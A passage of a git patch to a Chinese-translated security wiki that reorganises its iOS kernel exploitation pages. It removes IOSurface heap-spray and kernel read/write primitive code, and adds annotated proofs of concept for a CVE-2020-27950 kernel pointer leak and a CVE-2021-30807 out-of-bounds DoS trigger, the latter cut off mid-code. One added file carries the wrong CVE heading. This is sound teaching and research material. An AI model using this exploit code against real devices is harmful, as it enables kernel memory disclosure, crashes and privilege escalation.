From 8c755f2d5deeab5f11fd2acd61a96f3865d759ae Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 26 Sep 2025 00:45:45 +0000 Subject: [PATCH] Translated ['src/mobile-pentesting/android-app-pentesting/install-burp-c --- src/SUMMARY.md | 4 +- src/binary-exploitation/ios-exploiting.md | 207 ------ .../CVE-2020-27950-mach_msg_trailer_t.md | 332 ++++++++++ .../CVE-2021-30807-IOMobileFrameBuffer.md | 297 +++++++++ .../ios-exploiting/README.md | 256 ++++++++ .../ios-exploiting/ios-corellium.md | 79 +++ .../ios-example-heap-exploit.md | 205 ++++++ .../ios-physical-uaf-iosurface.md | 215 +++++++ .../linux-post-exploitation/README.md | 44 +- .../privilege-escalation/README.md | 591 +++++++++--------- .../android-app-pentesting/README.md | 504 ++++++++------- ...-instrumentation-and-ssl-pinning-bypass.md | 100 +-- .../avd-android-virtual-device.md | 112 ++-- .../frida-tutorial/README.md | 74 +-- .../install-burp-certificate.md | 52 +- .../pentesting-smb/README.md | 133 ++-- ...bd-attack-surface-and-fuzzing-syzkaller.md | 78 +-- .../pentesting-web/README.md | 234 +++---- .../electron-desktop-apps/README.md | 223 ++++--- .../pentesting-web/laravel.md | 85 ++- .../pentesting-web/sitecore/README.md | 72 +-- .../pentesting-web/wordpress.md | 365 +++++------ .../pentesting-web/wsgi.md | 169 +++++ src/pentesting-web/cache-deception/README.md | 180 +++--- ...er-gadgets-expandedwrapper-and-json.net.md | 86 +-- src/pentesting-web/file-upload/README.md | 185 +++--- 26 files changed, 3124 insertions(+), 1758 deletions(-) delete mode 100644 src/binary-exploitation/ios-exploiting.md create mode 100644 src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md create mode 100644 src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md create mode 100644 src/binary-exploitation/ios-exploiting/README.md create mode 100644 src/binary-exploitation/ios-exploiting/ios-corellium.md create mode 100644 src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md create mode 100644 src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md create mode 100644 src/network-services-pentesting/pentesting-web/wsgi.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index b18b11ccd..d4104d430 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -768,7 +768,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md) +- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -838,7 +838,7 @@ - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [iOS Exploiting](binary-exploitation/ios-exploiting.md) +- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) # 🤖 AI - [AI Security](AI/README.md) diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md deleted file mode 100644 index f7cc1cd27..000000000 --- a/src/binary-exploitation/ios-exploiting.md +++ /dev/null @@ -1,207 +0,0 @@ -# iOS Exploiting - -{{#include ../banners/hacktricks-training.md}} - -## 物理使用后释放 - -这是来自[https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html)的帖子摘要,此外关于使用此技术的漏洞的更多信息可以在[https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)中找到。 - -### XNU中的内存管理 - -iOS上用户进程的**虚拟内存地址空间**范围从**0x0到0x8000000000**。然而,这些地址并不直接映射到物理内存。相反,**内核**使用**页表**将虚拟地址转换为实际的**物理地址**。 - -#### iOS中的页表级别 - -页表分为三个层次进行分层组织: - -1. **L1页表(第1级)**: -* 这里的每个条目表示一个大范围的虚拟内存。 -* 它覆盖**0x1000000000字节**(或**256 GB**)的虚拟内存。 -2. **L2页表(第2级)**: -* 这里的一个条目表示一个较小的虚拟内存区域,具体为**0x2000000字节**(32 MB)。 -* 如果L1条目无法映射整个区域,它可能指向L2表。 -3. **L3页表(第3级)**: -* 这是最细的级别,每个条目映射一个单独的**4 KB**内存页。 -* 如果需要更细粒度的控制,L2条目可能指向L3表。 - -#### 虚拟到物理内存的映射 - -* **直接映射(块映射)**: -* 页表中的某些条目直接**将一系列虚拟地址**映射到一系列连续的物理地址(如快捷方式)。 -* **指向子页表的指针**: -* 如果需要更细的控制,一个级别中的条目(例如L1)可以指向下一个级别的**子页表**(例如L2)。 - -#### 示例:映射虚拟地址 - -假设你尝试访问虚拟地址**0x1000000000**: - -1. **L1表**: -* 内核检查与此虚拟地址对应的L1页表条目。如果它有指向L2页表的**指针**,则转到该L2表。 -2. **L2表**: -* 内核检查L2页表以获取更详细的映射。如果此条目指向**L3页表**,则继续前往。 -3. **L3表**: -* 内核查找最终的L3条目,该条目指向实际内存页的**物理地址**。 - -#### 地址映射示例 - -如果你将物理地址**0x800004000**写入L2表的第一个索引,则: - -* 从**0x1000000000**到**0x1002000000**的虚拟地址映射到从**0x800004000**到**0x802004000**的物理地址。 -* 这是L2级别的**块映射**。 - -或者,如果L2条目指向L3表: - -* 虚拟地址范围**0x1000000000 -> 0x1002000000**中的每个4 KB页面将由L3表中的单独条目映射。 - -### 物理使用后释放 - -**物理使用后释放**(UAF)发生在: - -1. 进程**分配**一些内存为**可读和可写**。 -2. **页表**被更新以将此内存映射到进程可以访问的特定物理地址。 -3. 进程**释放**(释放)内存。 -4. 然而,由于**错误**,内核**忘记从页表中删除映射**,尽管它将相应的物理内存标记为可用。 -5. 内核随后可以**重新分配这块“释放”的物理内存**用于其他目的,如**内核数据**。 -6. 由于映射未被删除,进程仍然可以**读写**这块物理内存。 - -这意味着进程可以访问**内核内存的页面**,这些页面可能包含敏感数据或结构,可能允许攻击者**操纵内核内存**。 - -### 利用策略:堆喷射 - -由于攻击者无法控制哪些特定的内核页面将分配给释放的内存,他们使用一种称为**堆喷射**的技术: - -1. 攻击者在内核内存中**创建大量IOSurface对象**。 -2. 每个IOSurface对象在其字段中包含一个**魔法值**,便于识别。 -3. 他们**扫描释放的页面**,查看这些IOSurface对象是否落在释放的页面上。 -4. 当他们在释放的页面上找到一个IOSurface对象时,他们可以用它来**读写内核内存**。 - -关于此的更多信息请参见[https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)。 - -### 步骤堆喷射过程 - -1. **喷射IOSurface对象**:攻击者创建许多带有特殊标识符(“魔法值”)的IOSurface对象。 -2. **扫描释放的页面**:他们检查是否有任何对象已分配在释放的页面上。 -3. **读/写内核内存**:通过操纵IOSurface对象中的字段,他们获得在内核内存中执行**任意读写**的能力。这使他们能够: -* 使用一个字段**读取内核内存中的任何32位值**。 -* 使用另一个字段**写入64位值**,实现稳定的**内核读/写原语**。 - -生成带有魔法值IOSURFACE_MAGIC的IOSurface对象以便后续搜索: -```c -void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { -if (*nClients >= 0x4000) return; -for (int i = 0; i < nSurfaces; i++) { -fast_create_args_t args; -lock_result_t result; - -size_t size = IOSurfaceLockResultSize; -args.address = 0; -args.alloc_size = *nClients + 1; -args.pixel_format = IOSURFACE_MAGIC; - -IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); -io_connect_t id = result.surface_id; - -(*clients)[*nClients] = id; -*nClients = (*nClients) += 1; -} -} -``` -在一个已释放的物理页面中搜索 **`IOSurface`** 对象: -```c -int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { -io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); -int nSurfaceIDs = 0; - -for (int i = 0; i < 0x400; i++) { -spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); - -for (int j = 0; j < nPages; j++) { -uint64_t start = puafPages[j]; -uint64_t stop = start + (pages(1) / 16); - -for (uint64_t k = start; k < stop; k += 8) { -if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { -info.object = k; -info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; -if (self_task) *self_task = iosurface_get_receiver(k); -goto sprayDone; -} -} -} -} - -sprayDone: -for (int i = 0; i < nSurfaceIDs; i++) { -if (surfaceIDs[i] == info.surface) continue; -iosurface_release(client, surfaceIDs[i]); -} -free(surfaceIDs); - -return 0; -} -``` -### Achieving Kernel Read/Write with IOSurface - -在内核内存中控制一个 IOSurface 对象(映射到一个可以从用户空间访问的已释放物理页面)后,我们可以利用它进行 **任意内核读写操作**。 - -**IOSurface 中的关键字段** - -IOSurface 对象有两个关键字段: - -1. **使用计数指针**:允许进行 **32 位读取**。 -2. **索引时间戳指针**:允许进行 **64 位写入**。 - -通过覆盖这些指针,我们将它们重定向到内核内存中的任意地址,从而启用读/写功能。 - -#### 32 位内核读取 - -要执行读取: - -1. 将 **使用计数指针** 覆盖为指向目标地址减去 0x14 字节的偏移量。 -2. 使用 `get_use_count` 方法读取该地址的值。 -```c -uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { -uint64_t args[1] = {surfaceID}; -uint32_t size = 1; -uint64_t out = 0; -IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); -return (uint32_t)out; -} - -uint32_t iosurface_kread32(uint64_t addr) { -uint64_t orig = iosurface_get_use_count_pointer(info.object); -iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 -uint32_t value = get_use_count(info.client, info.surface); -iosurface_set_use_count_pointer(info.object, orig); -return value; -} -``` -#### 64位内核写入 - -要执行写入: - -1. 将**索引时间戳指针**覆盖到目标地址。 -2. 使用`set_indexed_timestamp`方法写入64位值。 -```c -void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { -uint64_t args[3] = {surfaceID, 0, value}; -IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); -} - -void iosurface_kwrite64(uint64_t addr, uint64_t value) { -uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); -iosurface_set_indexed_timestamp_pointer(info.object, addr); -set_indexed_timestamp(info.client, info.surface, value); -iosurface_set_indexed_timestamp_pointer(info.object, orig); -} -``` -#### 漏洞利用流程回顾 - -1. **触发物理使用后释放**: 可重用的空闲页面。 -2. **喷射IOSurface对象**: 在内核内存中分配许多具有唯一“魔法值”的IOSurface对象。 -3. **识别可访问的IOSurface**: 找到一个在你控制的已释放页面上的IOSurface。 -4. **滥用使用后释放**: 修改IOSurface对象中的指针,以通过IOSurface方法启用任意**内核读/写**。 - -通过这些原语,漏洞利用提供了对内核内存的受控**32位读取**和**64位写入**。进一步的越狱步骤可能涉及更稳定的读/写原语,这可能需要绕过额外的保护(例如,在较新的arm64e设备上的PPL)。 - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md new file mode 100644 index 000000000..a40ffffa2 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md @@ -0,0 +1,332 @@ +# CVE-2021-30807: IOMobileFrameBuffer OOB + +{{#include ../../banners/hacktricks-training.md}} + + +## 漏洞 + +你可以在 [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) 找到很好的漏洞解释,但总结如下: + +内核接收的每个 Mach 消息都以一个 **"trailer"** 结尾:一个可变长度的 struct,包含元数据(seqno、sender token、audit token、context、access control data、labels...)。内核**总是在消息缓冲区中为最大的可能 trailer**(MAX_TRAILER_SIZE)保留空间,但**只初始化部分字段**,随后又根据**用户可控的接收选项**决定返回哪个 trailer 大小。 + +以下是与 trailer 相关的 structs: +```c +typedef struct{ +mach_msg_trailer_type_t msgh_trailer_type; +mach_msg_trailer_size_t msgh_trailer_size; +} mach_msg_trailer_t; + +typedef struct{ +mach_msg_trailer_type_t msgh_trailer_type; +mach_msg_trailer_size_t msgh_trailer_size; +mach_port_seqno_t msgh_seqno; +security_token_t msgh_sender; +audit_token_t msgh_audit; +mach_port_context_t msgh_context; +int msgh_ad; +msg_labels_t msgh_labels; +} mach_msg_mac_trailer_t; + +#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t) +typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t; +#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t)) +``` +然后,当 trailer object 被生成时,仅初始化了部分字段,并且始终为 max trailer size 预留了空间: +```c +trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); +trailer->msgh_sender = current_thread()->task->sec_token; +trailer->msgh_audit = current_thread()->task->audit_token; +trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0; +trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; +[...] +trailer->msgh_labels.sender = 0; +``` +例如,当尝试使用 `mach_msg()` 读取一个 mach 消息时,会调用函数 `ipc_kmsg_add_trailer()` 将 trailer 附加到消息。在该函数内部,会计算 trailer 的大小并填充其他一些 trailer 字段: +```c +if (!(option & MACH_RCV_TRAILER_MASK)) { [3] +return trailer->msgh_trailer_size; +} + +trailer->msgh_seqno = seqno; +trailer->msgh_context = context; +trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); +``` +`option` 参数由用户控制,因此**需要传入一个能通过 `if` 检查的值。** + +要通过此检查,我们需要发送一个有效且受支持的 `option`: +```c +#define MACH_RCV_TRAILER_NULL 0 +#define MACH_RCV_TRAILER_SEQNO 1 +#define MACH_RCV_TRAILER_SENDER 2 +#define MACH_RCV_TRAILER_AUDIT 3 +#define MACH_RCV_TRAILER_CTX 4 +#define MACH_RCV_TRAILER_AV 7 +#define MACH_RCV_TRAILER_LABELS 8 + +#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28) +#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24) +#define MACH_RCV_TRAILER_MASK ((0xf << 24)) +``` +但是,因为 `MACH_RCV_TRAILER_MASK` 只是检查位,我们可以传入任何介于 `0` 和 `8` 之间的值,从而不会进入 if 语句。 + +然后,继续查看代码可以发现: +```c +if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) { +trailer->msgh_ad = 0; +} + +/* +* The ipc_kmsg_t holds a reference to the label of a label +* handle, not the port. We must get a reference to the port +* and a send right to copyout to the receiver. +*/ + +if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) { +trailer->msgh_labels.sender = 0; +} + +done: +#ifdef __arm64__ +ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread)); +#endif /* __arm64__ */ + +return trailer->msgh_trailer_size; +``` +可以看到,如果 `option` 大于或等于 `MACH_RCV_TRAILER_AV` (7),字段 **`msgh_ad`** 会被初始化为 `0`。 + +如果你注意到,**`msgh_ad`** 仍然是 trailer 中唯一之前未被初始化的字段,这可能包含来自先前使用的内存的 leak。 + +因此,避免初始化它的方法是传入 `option` 值为 `5` 或 `6`,这样它会通过第一个 `if` 检查且不会进入初始化 `msgh_ad` 的 `if`,因为值 `5` 和 `6` 没有与之关联的任何 trailer 类型。 + +### 基本 PoC + +在 [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) 中,你可以找到一个用于 leak 一些随机数据的 PoC。 + +### Leak 内核地址 PoC + +在 [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) 中,你可以找到一个用于 leak 内核地址的 PoC。为此,消息中发送了大量 `mach_msg_port_descriptor_t` 结构体,因为该结构体在用户态中 `name` 字段是 unsigned int,但在内核中 `name` 字段是 struct `ipc_port` 指针。因此,在内核处理中向消息中发送数十个这样的结构体将意味着在消息中 **添加多个内核地址**,从而可以泄露其中一个。 + +已添加注释以便更好理解: +```c +#include +#include +#include +#include + +// Number of OOL port descriptors in the "big" message. +// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds). +#define LEAK_PORTS 50 + +// "Big" message: many descriptors → larger descriptor array in kmsg +typedef struct { +mach_msg_header_t header; +mach_msg_body_t body; +mach_msg_port_descriptor_t sent_ports[LEAK_PORTS]; +} message_big_t; + +// "Small" message: fewer descriptors → leaves more room for the trailer +// to overlap where descriptor pointers used to be in the reused kalloc chunk. +typedef struct { +mach_msg_header_t header; +mach_msg_body_t body; +mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10]; +} message_small_t; + +int main(int argc, char *argv[]) { +mach_port_t port; // our local receive port (target of sends) +mach_port_t sent_port; // the port whose kernel address we want to leak + +/* +* 1) Create a receive right and attach a send right so we can send to ourselves. +* This gives us predictable control over ipc_kmsg allocations when we send. +*/ +mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); +mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); + +/* +* 2) Create another receive port (sent_port). We'll reference this port +* in OOL descriptors so the kernel stores pointers to its ipc_port +* structure in the kmsg → those pointers are what we aim to leak. +*/ +mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port); +mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND); + +printf("[*] Will get port %x address\n", sent_port); + +message_big_t *big_message = NULL; +message_small_t *small_message = NULL; + +// Compute userland sizes of our message structs +mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message); +mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message); + +// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin) +big_message = malloc(big_size + MAX_TRAILER_SIZE); +small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); + +/* +* 3) Prepare the "big" message: +* - Complex bit set (has descriptors) +* - 50 OOL port descriptors, all pointing to the same sent_port +* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port). +* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel). +*/ +printf("[*] Creating first kalloc.1024 ipc_kmsg\n"); +memset(big_message, 0, big_size + MAX_TRAILER_SIZE); + +big_message->header.msgh_remote_port = port; // send to our receive right +big_message->header.msgh_size = big_size; +big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) +| MACH_MSGH_BITS_COMPLEX; +big_message->body.msgh_descriptor_count = LEAK_PORTS; + +for (int i = 0; i < LEAK_PORTS; i++) { +big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; +big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; +big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers +} + +/* +* 4) Prepare the "small" message: +* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused, +* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived. +*/ +printf("[*] Creating second kalloc.1024 ipc_kmsg\n"); +memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); + +small_message->header.msgh_remote_port = port; +small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) +| MACH_MSGH_BITS_COMPLEX; +small_message->body.msgh_descriptor_count = LEAK_PORTS - 10; + +for (int i = 0; i < LEAK_PORTS - 10; i++) { +small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; +small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; +small_message->sent_ports[i].name = sent_port; +} + +/* +* 5) Receive buffer for reading back messages with trailers. +* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5). +* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized +* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak. +*/ +uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE); +mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally) +uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks + +/* +* ---------- Exploitation sequence ---------- +* +* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many +* kernel pointers (ipc_port*) in its descriptor array. +*/ +printf("[*] Sending message 1\n"); +mach_msg(&big_message->header, +MACH_SEND_MSG, +big_size, // send size +0, // no receive +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step B: Immediately receive/discard it with a zero-sized buffer. +* This frees the kalloc chunk without copying descriptors back, +* leaving the kernel pointers resident in freed memory (stale). +*/ +printf("[*] Discarding message 1\n"); +mach_msg((mach_msg_header_t *)0, +MACH_RCV_MSG, // try to receive +0, // send size 0 +0, // recv size 0 (forces error/free path) +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step C: Reuse the same size-class with the "small" message (fewer descriptors). +* We slightly bump msgh_size by +4 so that when the kernel appends +* the trailer, the trailer's uninitialized field `msgh_ad` overlaps +* the low 4 bytes of a stale ipc_port* pointer from the prior message. +*/ +small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window +printf("[*] Sending message 2\n"); +mach_msg(&small_message->header, +MACH_SEND_MSG, +small_size + sizeof(uint32_t), +0, +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step D: Receive message 2 and request an invalid trailer elements value (5). +* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer. +* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size. +* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7), +* so with 5, `msgh_ad` remains uninitialized → stale bytes leak. +*/ +memset(buffer, 0, big_size + MAX_TRAILER_SIZE); +printf("[*] Reading back message 2\n"); +mach_msg((mach_msg_header_t *)buffer, +MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950 +0, +small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +// Trailer begins right after the message body we sent (small_size + 4) +trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)); + +// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*) +sent_port_address |= (uint32_t)trailer->msgh_ad; + +/* +* Step E: Repeat the A→D cycle but now shift by another +4 bytes. +* This moves the overlap window so `msgh_ad` captures the high 4 bytes. +*/ +printf("[*] Sending message 3\n"); +mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + +printf("[*] Discarding message 3\n"); +mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + +// add another +4 to msgh_size → total +8 shift from the baseline +small_message->header.msgh_size = small_size + sizeof(uint32_t)*2; +printf("[*] Sending message 4\n"); +mach_msg(&small_message->header, +MACH_SEND_MSG, +small_size + sizeof(uint32_t)*2, +0, +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +memset(buffer, 0, big_size + MAX_TRAILER_SIZE); +printf("[*] Reading back message 4\n"); +mach_msg((mach_msg_header_t *)buffer, +MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), +0, +small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE, +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2); + +// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer +sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32; + +printf("[+] Port %x has address %lX\n", sent_port, sent_port_address); + +return 0; +} +``` +## 参考资料 + +- [Synacktiv 的博客文章](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md new file mode 100644 index 000000000..661e065b3 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md @@ -0,0 +1,297 @@ +# CVE-2021-30807: IOMobileFrameBuffer OOB + +{{#include ../../banners/hacktricks-training.md}} + + +## 漏洞 + +你可以在 [great explanation of the vuln here](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/) 找到详细说明,这里做个总结: + +- 易受攻击的代码路径是 **external method #83**,位于 **IOMobileFramebuffer / AppleCLCD** user client:`IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`。该方法接收一个由用户控制的参数,这个参数没有经过任何校验,并作为 **`scalar0`** 传递给下一个函数。 + +- 该方法转发到 **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**,其中 **`scalar0`**(一个用户可控的 **32-bit** 值)被用作对一个内部 **指针数组** 的 **索引**,但没有任何 **边界检查**: + +> `ptr = *(this + 0xA58 + scalar0 * 8);` → passed to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` as an **`IOSurface*`**.\ +> **结果:** **OOB pointer read & type confusion** 发生在该数组上。如果指针无效,kernel deref panics → **DoS**。 + +> [!NOTE] +> 该问题已在 **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1** 中修复 + + +> [!WARNING] +> 初始调用 `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` 的函数受权限 **`com.apple.private.allow-explicit-graphics-priority`** 保护。然而,**WebKit.WebContent** 拥有该 entitlement,因此可以用来从沙箱化进程触发该漏洞。 + +## DoS PoC + +下面是原始博文中的初始 DoS PoC,附带额外注释: +```c +// PoC for CVE-2021-30807 trigger (annotated) +// NOTE: This demonstrates the crash trigger; it is NOT an LPE. +// Build/run only on devices you own and that are vulnerable. +// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory) +// https://support.apple.com/en-us/103144 +// https://nvd.nist.gov/vuln/detail/CVE-2021-30807 + +void trigger_clcd_vuln(void) { +kern_return_t ret; +io_connect_t shared_user_client_conn = MACH_PORT_NULL; + +// The "type" argument is the type (selector) of user client to open. +// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the +// external methods we need (incl. selector 83). If this doesn't work on your +// build, try different types or query IORegistry to enumerate. +int type = 2; + +// 1) Locate the IOMobileFramebuffer service in the IORegistry. +// This returns the first matched service object (a kernel object handle). +io_service_t service = IOServiceGetMatchingService( +kIOMasterPortDefault, +IOServiceMatching("IOMobileFramebuffer")); + +if (service == MACH_PORT_NULL) { +printf("failed to open service\n"); +return; +} + +printf("service: 0x%x\n", service); + +// 2) Open a connection (user client) to the service. +// The user client is what exposes external methods to userland. +// 'type' selects which user client class/variant to instantiate. +ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); +if (ret != KERN_SUCCESS) { +printf("failed to open userclient: %s\n", mach_error_string(ret)); +return; +} + +printf("client: 0x%x\n", shared_user_client_conn); + +printf("call externalMethod\n"); + +// 3) Prepare input scalars for the external method call. +// The vulnerable path uses a 32-bit scalar as an INDEX into an internal +// array of pointers WITHOUT bounds checking (OOB read / type confusion). +// We set it to a large value to force the out-of-bounds access. +uint64_t scalars[4] = { 0x0 }; +scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup + +// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID). +uint64_t output_scalars[4] = { 0 }; +uint32_t output_scalars_size = 1; + +printf("call s_default_fb_surface\n"); + +// 5) Invoke external method #83. +// On vulnerable builds, this path ends up calling: +// IOMobileFramebufferUserClient::s_displayed_fb_surface(...) +// → IOMobileFramebufferLegacy::get_displayed_surface(...) +// which uses our index to read a pointer and then passes it as IOSurface*. +// If the pointer is bogus, IOSurface code will dereference it and the kernel +// will panic (DoS). +ret = IOConnectCallMethod( +shared_user_client_conn, +83, // **Selector 83**: vulnerable external method +scalars, 1, // input scalars (count = 1; the OOB index) +NULL, 0, // no input struct +output_scalars, &output_scalars_size, // optional outputs 